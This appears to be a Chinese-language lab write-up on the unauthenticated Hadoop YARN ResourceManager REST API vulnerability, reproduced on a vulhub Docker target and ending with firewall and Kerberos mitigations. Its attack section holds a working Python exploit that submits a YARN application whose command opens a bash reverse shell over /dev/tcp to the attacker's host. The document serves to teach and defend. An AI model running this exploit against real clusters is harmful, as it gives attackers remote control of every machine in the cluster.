Hadoop YARN ResourceManager未授權訪問漏洞

一、介紹

1.1 簡介

  Hadoop作爲一個分佈式計算應用程序框架,種類功能繁多,各種組件安全問題會帶來很大的攻擊面。

  Apache Hadoop YARN是Hadoop的核心組件之一,負責將資源分配在Hadoop集羣中運行的各種應用程序,並調度要在不同集羣節點上執行的任務。(獨立出的資源管理框架,負責資源管理和調度)

1.2 漏洞成因

  負責對資源進行同一管理調度的ReasourceManager組件的UI管理界面開放在8080/8088端口,攻擊者無需認證即可通過REST API部署任務來執行任意命令,最終可完全控制集羣中所有的機器。

二、模擬環境

  • 受害者IP:192.168.226.140(ens33)
  • 攻擊者IP:192.168.1.102

》》使用vulhub靶場,docker啓動
在這裏插入圖片描述

啓動報錯
在這裏插入圖片描述
》》ping 不通
在這裏插入圖片描述
解決方法:(更換源)
》》查看當前源
在這裏插入圖片描述
》》寫入自定義倉庫
“registry-mirrors”:[“https://docker.mirrors.ustc.edu.cn”]
在這裏插入圖片描述
》》保存文件,重啓
在這裏插入圖片描述
問題解決
在這裏插入圖片描述

》》啓動後訪問192.168.226.140:8088即可訪問到Hadoop YARN ResourceManager WebUI界面
在這裏插入圖片描述

三、信息收集

》》通過nmap掃描目標IP發現在8088端口上開放了Jetty(hadoop使用jetty作爲servlet容器提供HTTP服務來訪問web後臺用於管理hdfs和mapreduce等)
在這裏插入圖片描述
》》瀏覽器訪問web界面
在這裏插入圖片描述

四、攻擊方法

》》nc本地監聽等待shell連接
在這裏插入圖片描述

》》執行exp

#!/usr/bin/env python

import requests

target = 'http://192.168.226.140:8088/'
lhost = '192.168.226.134' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

五、漏洞防禦

  1. 網絡訪問控制,使用防火牆對受影響服務端口訪問源IP進行控制
  2. 如Hadoop環境僅對內網提供服務,不要將端口服務暴露在公網
  3. 如使用自建Hadoop,根據實際情況更新補丁(Hadoop在2.x版本以上提供了安全認證功能,加入了Kerberos認證機制)
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章